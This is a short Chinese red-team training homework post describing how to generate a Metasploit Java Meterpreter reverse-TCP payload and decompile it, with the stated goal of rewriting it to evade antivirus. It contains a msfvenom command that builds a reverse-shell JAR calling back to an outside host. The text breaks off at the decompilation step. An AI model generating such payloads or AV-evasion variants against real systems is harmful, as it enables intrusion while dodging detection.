红队作业 | 免杀Meterpreter java马

文章来源｜MS08067 红队培训班 第5期

本文作者：aeqaq（红队培训班5期学员）

按老师要求尝试完成布置的作业如下：

目标：

分析msf meterpreter java马的原理，然后自己写一个保留了核心逻辑的，来达到免杀效果。

1.生成马

msf6 > use java/meterpreter/reverse_tcp
msf6 payload(java/meterpreter/reverse_tcp) > msfvenom -p java/meterpreter/reverse_tcp LHOST=1.117.xxxxxx  LPORT=4444 W >text.jar

2.反编译分析源码

2.1用jd-gui反编译源码导出